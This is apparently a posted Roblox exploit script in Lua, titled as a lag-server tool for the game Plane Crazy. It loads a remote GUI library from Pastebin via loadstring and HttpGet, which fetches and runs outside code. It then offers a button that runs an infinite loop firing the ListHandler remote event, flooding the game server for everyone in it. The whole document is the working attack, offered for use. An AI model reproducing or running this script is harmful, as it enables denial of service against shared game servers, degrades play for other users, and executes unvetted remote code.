MrBooshot712

Plane Crazy LAG SERVER SCRIPT [NOT PATCHED] 40K+PING

Aug 20th, 2021 (edited)
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  1. local Finity = loadstring(game:HttpGet("https://pastebin.com/raw/y4eeFHp0"))()
  2.  
  3. local FinityWindow = Finity.new(true)
  4. FinityWindow.ChangeToggleKey(Enum.KeyCode.RightShift)
  5.  
  6. local Invisible = FinityWindow:Category("Plane Crazy")
  7.  
  8. local Invisible1 = Invisible:Sector("Lag server")
  9.  
  10. Invisible1:Cheat("Label", "Press this a few times", function()
  11. end)
  12.  
  13. Invisible1:Cheat("Button", "LagServer", function()
  14. while true do
  15. local string_1 = nil
  16. local string_2 = "Parachute";
  17. local string_3 = "";
  18. local string_4 = "";
  19. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  20. Target:FireServer(string_1, string_2, string_3, string_4);
  21. wait()
  22. local string_1 = nil
  23. local string_2 = "Parachute";
  24. local string_3 = "";
  25. local string_4 = "";
  26. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  27. Target:FireServer(string_1, string_2, string_3, string_4);
  28. wait()
  29. local string_1 = nil
  30. local string_2 = "Parachute";
  31. local string_3 = "";
  32. local string_4 = "";
  33. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  34. Target:FireServer(string_1, string_2, string_3, string_4);
  35. wait()
  36. local string_1 = nil
  37. local string_2 = "Parachute";
  38. local string_3 = "";
  39. local string_4 = "";
  40. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  41. Target:FireServer(string_1, string_2, string_3, string_4);
  42. wait()
  43. local string_1 = nil
  44. local string_2 = "Parachute";
  45. local string_3 = "";
  46. local string_4 = "";
  47. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  48. Target:FireServer(string_1, string_2, string_3, string_4);
  49. wait()
  50. local string_1 = nil
  51. local string_2 = "Parachute";
  52. local string_3 = "";
  53. local string_4 = "";
  54. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  55. Target:FireServer(string_1, string_2, string_3, string_4);
  56. wait()
  57. local string_1 = nil
  58. local string_2 = "Parachute";
  59. local string_3 = "";
  60. local string_4 = "";
  61. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  62. Target:FireServer(string_1, string_2, string_3, string_4);
  63. wait()
  64. local string_1 = nil
  65. local string_2 = "Parachute";
  66. local string_3 = "";
  67. local string_4 = "";
  68. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  69. Target:FireServer(string_1, string_2, string_3, string_4);
  70. wait()
  71. local string_1 = nil
  72. local string_2 = "Parachute";
  73. local string_3 = "";
  74. local string_4 = "";
  75. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  76. Target:FireServer(string_1, string_2, string_3, string_4);
  77. wait()
  78. local string_1 = nil
  79. local string_2 = "Parachute";
  80. local string_3 = "";
  81. local string_4 = "";
  82. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  83. Target:FireServer(string_1, string_2, string_3, string_4);
  84. wait()
  85. local string_1 = nil
  86. local string_2 = "Parachute";
  87. local string_3 = "";
  88. local string_4 = "";
  89. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  90. Target:FireServer(string_1, string_2, string_3, string_4);
  91. wait()
  92. local string_1 = nil
  93. local string_2 = "Parachute";
  94. local string_3 = "";
  95. local string_4 = "";
  96. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  97. Target:FireServer(string_1, string_2, string_3, string_4);
  98. wait()
  99. local string_1 = nil
  100. local string_2 = "Parachute";
  101. local string_3 = "";
  102. local string_4 = "";
  103. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  104. Target:FireServer(string_1, string_2, string_3, string_4);
  105. wait()
  106. local string_1 = nil
  107. local string_2 = "Parachute";
  108. local string_3 = "";
  109. local string_4 = "";
  110. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  111. Target:FireServer(string_1, string_2, string_3, string_4);
  112. wait()
  113. local string_1 = nil
  114. local string_2 = "Parachute";
  115. local string_3 = "";
  116. local string_4 = "";
  117. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  118. Target:FireServer(string_1, string_2, string_3, string_4);
  119. wait()
  120. local string_1 = nil
  121. local string_2 = "Parachute";
  122. local string_3 = "";
  123. local string_4 = "";
  124. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  125. Target:FireServer(string_1, string_2, string_3, string_4);
  126. wait()
  127. local string_1 = nil
  128. local string_2 = "Parachute";
  129. local string_3 = "";
  130. local string_4 = "";
  131. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  132. Target:FireServer(string_1, string_2, string_3, string_4);
  133. wait()
  134. local string_1 = nil
  135. local string_2 = "Parachute";
  136. local string_3 = "";
  137. local string_4 = "";
  138. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  139. Target:FireServer(string_1, string_2, string_3, string_4);
  140. wait()
  141. local string_1 = nil
  142. local string_2 = "Parachute";
  143. local string_3 = "";
  144. local string_4 = "";
  145. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  146. Target:FireServer(string_1, string_2, string_3, string_4);
  147. wait()
  148. local string_1 = nil
  149. local string_2 = "Parachute";
  150. local string_3 = "";
  151. local string_4 = "";
  152. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  153. Target:FireServer(string_1, string_2, string_3, string_4);
  154. wait()
  155. local string_1 = nil
  156. local string_2 = "Parachute";
  157. local string_3 = "";
  158. local string_4 = "";
  159. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  160. Target:FireServer(string_1, string_2, string_3, string_4);
  161. wait()
  162. local string_1 = nil
  163. local string_2 = "Parachute";
  164. local string_3 = "";
  165. local string_4 = "";
  166. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  167. Target:FireServer(string_1, string_2, string_3, string_4);
  168. wait()
  169. local string_1 = nil
  170. local string_2 = "Parachute";
  171. local string_3 = "";
  172. local string_4 = "";
  173. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  174. Target:FireServer(string_1, string_2, string_3, string_4);
  175. wait()
  176. local string_1 = nil
  177. local string_2 = "Parachute";
  178. local string_3 = "";
  179. local string_4 = "";
  180. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  181. Target:FireServer(string_1, string_2, string_3, string_4);
  182. wait()
  183. local string_1 = nil
  184. local string_2 = "Parachute";
  185. local string_3 = "";
  186. local string_4 = "";
  187. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  188. Target:FireServer(string_1, string_2, string_3, string_4);
  189. wait()
  190. local string_1 = nil
  191. local string_2 = "Parachute";
  192. local string_3 = "";
  193. local string_4 = "";
  194. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  195. Target:FireServer(string_1, string_2, string_3, string_4);
  196. wait()
  197. local string_1 = nil
  198. local string_2 = "Parachute";
  199. local string_3 = "";
  200. local string_4 = "";
  201. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  202. Target:FireServer(string_1, string_2, string_3, string_4);
  203. wait()
  204. local string_1 = nil
  205. local string_2 = "Parachute";
  206. local string_3 = "";
  207. local string_4 = "";
  208. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  209. Target:FireServer(string_1, string_2, string_3, string_4);
  210. wait()
  211. local string_1 = nil
  212. local string_2 = "Parachute";
  213. local string_3 = "";
  214. local string_4 = "";
  215. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  216. Target:FireServer(string_1, string_2, string_3, string_4);
  217. wait()
  218. local string_1 = nil
  219. local string_2 = "Parachute";
  220. local string_3 = "";
  221. local string_4 = "";
  222. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  223. Target:FireServer(string_1, string_2, string_3, string_4);
  224. wait()
  225. local string_1 = nil
  226. local string_2 = "Parachute";
  227. local string_3 = "";
  228. local string_4 = "";
  229. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  230. Target:FireServer(string_1, string_2, string_3, string_4);
  231. wait()
  232. local string_1 = nil
  233. local string_2 = "Parachute";
  234. local string_3 = "";
  235. local string_4 = "";
  236. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  237. Target:FireServer(string_1, string_2, string_3, string_4);
  238. wait()
  239. local string_1 = nil
  240. local string_2 = "Parachute";
  241. local string_3 = "";
  242. local string_4 = "";
  243. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  244. Target:FireServer(string_1, string_2, string_3, string_4);
  245. wait()
  246. local string_1 = nil
  247. local string_2 = "Parachute";
  248. local string_3 = "";
  249. local string_4 = "";
  250. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  251. Target:FireServer(string_1, string_2, string_3, string_4);
  252. wait()
  253. local string_1 = nil
  254. local string_2 = "Parachute";
  255. local string_3 = "";
  256. local string_4 = "";
  257. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  258. Target:FireServer(string_1, string_2, string_3, string_4);
  259. wait()
  260. local string_1 = nil
  261. local string_2 = "Parachute";
  262. local string_3 = "";
  263. local string_4 = "";
  264. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  265. Target:FireServer(string_1, string_2, string_3, string_4);
  266. wait()
  267. local string_1 = nil
  268. local string_2 = "Parachute";
  269. local string_3 = "";
  270. local string_4 = "";
  271. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  272. Target:FireServer(string_1, string_2, string_3, string_4);
  273. wait()
  274. local string_1 = nil
  275. local string_2 = "Parachute";
  276. local string_3 = "";
  277. local string_4 = "";
  278. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  279. Target:FireServer(string_1, string_2, string_3, string_4);
  280. wait()
  281. local string_1 = nil
  282. local string_2 = "Parachute";
  283. local string_3 = "";
  284. local string_4 = "";
  285. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  286. Target:FireServer(string_1, string_2, string_3, string_4);
  287. wait()
  288. local string_1 = nil
  289. local string_2 = "Parachute";
  290. local string_3 = "";
  291. local string_4 = "";
  292. local Target = game:GetService("ReplicatedStorage").Remotes.ListHandler;
  293. Target:FireServer(string_1, string_2, string_3, string_4);
  294. wait()
  295. end
  296. end)
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